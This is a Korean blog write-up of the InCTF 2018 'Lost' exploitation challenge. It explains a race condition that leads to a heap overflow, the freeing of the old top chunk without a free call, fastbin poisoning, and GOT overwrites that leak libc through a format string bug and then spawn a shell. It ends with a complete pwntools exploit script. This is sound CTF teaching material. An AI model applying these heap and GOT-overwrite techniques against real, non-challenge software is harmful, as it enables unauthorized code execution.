Write-up

[InCTF 2018] Lost writeup

ch4rli3kop 2018. 11. 6. 00:29
반응형

LOST


race condition, heap overflow, *no free, *no view, format string bug



Reversing alloc()



위 코드는 alloc 함수의 일부분이다. 먼저, sem_init() 함수를 이용하여 thread 간의 이동을 위한 세마포어 객체 sema를 1로 초기화한다.(2번째 인자는 현재 프로세스에서만 사용함=0을 나타낸다.)
thread 함수는 run(2)를 리턴한다.


다음은 run함수와 sig함수를 나타낸다.




위 run함수를 보면 우선, 각 thread는 alarm을 통한 signal로 인하여 4초 간 동작한뒤 다른 thread로 넘어가는 형태를 취하고 있음을 알 수 있다. 해당 signal은 sig 함수를 부르는데, sig 함수는 위의 3 개의 함수로 구성되어 있다. sem_post는 sema를 증가시키는 함수이고, sem_wait는 sema 값이 1일 경우 sema 값을 감소시키는 함수(1이 아닐 경우 1이 될 때까지 대기한다.)이다. 


다음은 두 개의 chunk를 할당 받을 경우, thread의 흐름을 나타낸 도식이다.


Thread 1에서 alarm signal이 실행되면 sem_post()를 이용하여 sema의 값을 1로 증가시킨 뒤 sleep(1)에 빠지고, 대기하고 있던 Thread 2의 sem_wait()이 sema를 받아 동작을 시작한다. Thread 2 역시 마찬가지로 alarm signal이 실행되면 다시 컨트롤을 Thread 1으로 넘겨준다.



위의 분석한 결과들과 thread가 사용하는 변수가 전역변수라는 것으로 말미암아 race condition 문제임을 파악할 수 있다.


size 및 ptr 변수가 전역 변수이기 때문에, 위와 같은 흐름으로 진행한다면 Thread 1에서 할당 받은 공간에 Thread 2에서 입력한 size 만큼의 입력을 줄 수 있으므로 heap overflow가 가능하다. Thread 2에서는 size 입력 시 반드시 1000보다 큰 값을 입력해야 하는데, ptr이 전역 변수이기 때문이다. Thread 2에서 malloc()까지 진행해서 ptr이 Thread 2로 초기화 된 다음에 받는 입력은 overflow가 불가능하다.



위와 같이 heap overflow를 할 수 있게 되었으면 이제, 해당 overflow를 exploit에 이용할 수 있도록 해야 하는데, heap 문제에 가장 중요한 free 함수가 본 바이너리에는 존재하지 않는다. 따라서 free를 할 수 있는 다른 방식을 구해야 하는데, 이 문제를 극복하기 위해 "top chunk는 top chunk size 보다 큰 malloc 요청 시, heap을 더 크게 extend 하며 새로운 top chunk를 만들고, old top chunk는 free 시킨다"는 사실을 이용할 수 있다. 


 => 


힙 공간은 메모리의 page 크기 단위로 할당된다. 따라서 top chunk를 변조할 때에도 page align에 맞추어 변조시켜야 하는데, 뒤의 세 숫자만 맞춰주면 된다. (0x11d2170 + 0x20e90 = 0x11f3000)




Reversing edit()

다음과 같이 edit 함수를 보면, ptr과 size를 이용하여 값을 조정하는 것을 확인할 수 있다. ptr과 size는 전역변수이므로 전역변수 값을 적당히 고치면 원하는 곳에 값을 쓸 수 있을 듯하다.






시나리오

ptr과 size가 존재하는 bss영역은 다음과 같다. 마침 해당 공간의 stdin과 stderr를 이용하면 0x70 크기의 chunk 공간을 할당 받을 경우, ptr과 size 값을 조작할 수 있다. fd를 0x6020dd로 조작하여 공간을 할당받으면 된다.



첫 번째 race condition을 이용하여 top chunk를 page align에 맞추어 변조 후, 계속해서 메모리를 할당하여 남은 top chunk size가 0x90이 되도록 한다. 아래 그림과 같이 top chunk가 맨 끝 0x20 bytes를 임의로 사용하기 때문에 0x70의 크기의 chunk를 free 하기 위해서는 0x70 + 0x20 = 0x90를 남겨야 한다. 이 후, 0x70보다 큰 크기의 chunk를 요청하면 0x70 chunk는 free가 되어 fastbin 안에 들어가게 된다. 


이 후에 이제 free된 fastbin의 fd 값을 덮어쓰면 되는데, 타이밍상 이를 가능하게 하려면 race condition 도중에 있는 thread 1의 author에서 0x70 보다 큰 크기의 chunk를 요청해야 한다. author은 strdup 함수를 사용하는데, 이 함수는 다음과 같은 형태로 구현된다.

/* Duplicate S, returning an identical malloc'd string. */

char *__strdup (const char *s){
    size_t len = strlen (s) + 1;
    void *new = malloc (len);

    if (new == NULL)
        return NULL;

    return (char *) memcpy (new, s, len);
}

null을 만나기 전까지의 길이를 재는 strlen을 이용한 memcpy 때문에, strcpy와 malloc을 혼합한 형태라고도 할 수 있다. strdup에 malloc이 사용되기 때문에, 이 함수를 실행한 시점에서 0x70 chunk가 free 되도록 하게 할 수 있다. strdup의 최대 크기는 0xf0(최대 할당 chunk size = 0x100)이기 때문에 이를 초과하여 입력을 줄 경우, 초과된 만큼의 입력이 Enter Data에 들어가게되므로 *주의*가 필요하다.


fd 값을 0x6020dd로 변조시켜, 0x6020dd를 할당 받으면 ptr과 size를 마음대로 쓸 수 있게 된다. 그러나 libc_base를 모르기에 할 수 있는 것이 제한적이다. 이에 libc를 leak 할 수 있는 수단이 필요하다. pie가 걸려있지 않아, 함수의 got 주소가 고정이므로 함수의 got를 다른 함수로 덮어 libc를 leak 할 수 있는 방법을 찾아본다.

대표적으로 포인터의 값을 인자로 갖는 함수의 got를 printf 류의 출력함수로 덮는 방법이 존재하겠으나, 본 바이너리에는 해당 경우는 존재하지 않는다. 다만, 다음의 atio와 같이 주소 값을 인자로 갖는 경우 format string bug를 일으켜서 libc를 leak 할 수 있다.


libc를 leak한 뒤 한 번 더 edit을 이용하여 atoi@got를 system 함수로 덮는다. atoi가 printf로 바뀌었기 때문에, edit으로 넘어가기 위해서 리턴 값을 2로 맞추어주려면, 두 개의 문자를 출력하도록 하면 된다.(printf의 리턴 값은 출력성공한 문자의 수이다.) 다시 한 번 getint()함수를 불러서 getinp()로 인자에 '/bin/sh'나 'sh'를 준다면 system('/bin/sh')가 실행되어 exploit이 이루어진다.





정리

  1. race condition을 이용한 heap overflow
  2. 전역변수를 이용한 edit
  3. no free? -> old top chunk is freed!
  4. no view? -> format string bug!




Exploit




#!/usr/bin/env python 2.7
 
from pwn import *
 
= process('./lost')
#r = process('./lost', env = {'LD_PRELOAD': './libc.so.6'})
 
#context.log_level = 'debug'
 
def race_alloc(size1, size2, AuthorName, data1, size2_re, data2):
    r.sendlineafter("Enter choice >> ""1")
    r.sendlineafter("How many chunks at a time (1/2) ? ""2")
    r.sendlineafter("Enter Size 1: "str(size1))
    sleep(4)
    log.info("Data 1 sleeping... change Data 2")
    r.sendlineafter("Enter Size 2: "str(size2))
    sleep(4)
    
    log.info('Data 2 sleeping... change Data 1')
    r.sendline(AuthorName)
    #gdb.attach(r,'b* 0x400d39')
    r.sendlineafter('Enter Data 1: ', data1)
    r.recvuntil("Data entered")
 
    log.info('Data 1 finished, and Data 2 start')
    r.sendline(str(size2_re))
    r.sendlineafter("Enter Author name : ", AuthorName)
    r.sendlineafter('Enter Data 2: ', data2)
    
 
def alloc(size1, AuthorName, data1):
    r.sendlineafter("Enter choice >> ""1")
    r.sendlineafter("How many chunks at a time (1/2) ? ""1")
    r.sendlineafter("Enter Size 1: "str(size1))
    r.sendlineafter("Enter Author name : ", AuthorName)
    r.sendlineafter('Enter Data 1: ', data1)
 
def edit(data):
    r.sendlineafter('Enter choice >> ','2')
    r.sendlineafter('Enter new data: ',data)
 
def printmenu(data):
    r.sendlineafter('Enter choice >> ',data)
 
 
atoi_got = 0x602088
printf_plt = 0x400970
 
race_alloc(0x2010000,'a'*8'1'*0x40 + 'A'*8 + p64(0xe91), 0x90'2'*100)
log.info('change top_chunk to 0xe91')
 
for i in range(0,0xe - 2):  # 0x100 chunks
    alloc(0xd0'a'*8str(i)*0xd0)
alloc(0xd0'a'*8'd'*0xb0)
alloc(0xb0'a'*8'd'*0xb0)
 
 
payload2 = ''
payload2 += '1'*0x10
payload2 += p64(0x0+ p64(0x71)
payload2 += p64(0x6020dd)
race_alloc(0x1010000'a'*0x6e + '\x00', payload2, 0x90'2'*100# strdup max 0xf0
 
alloc(0x60'a'*8'd'*0x10)
alloc(0x60'a'*8'\x00'*3 + p64(atoi_got))
edit(p64(printf_plt))
printmenu("%3$p"# leak libc_base + 4039965
 
libc_base = int(r.recv(14),16- 4039965
success('libc_base = {}'.format(hex(libc_base)))
 
system_addr = libc_base + 283536
 
r.sendline('aa')
 
r.sendlineafter('Enter new data: ',p64(system_addr))
printmenu("/bin/sh" + '\x00')
 
r.interactive()
cs




반응형

'Write-up' 카테고리의 다른 글

[RITSEC 2018] Gimme sum fud write up  (0) 2018.11.22
[RITSEC 2018] write up  (0) 2018.11.19
[InCTF 2018] Yawn writeup  (0) 2018.10.30
[InCTF 2018] Magical Radio writeup  (0) 2018.10.20
[InCTF 2018] writeup  (0) 2018.10.16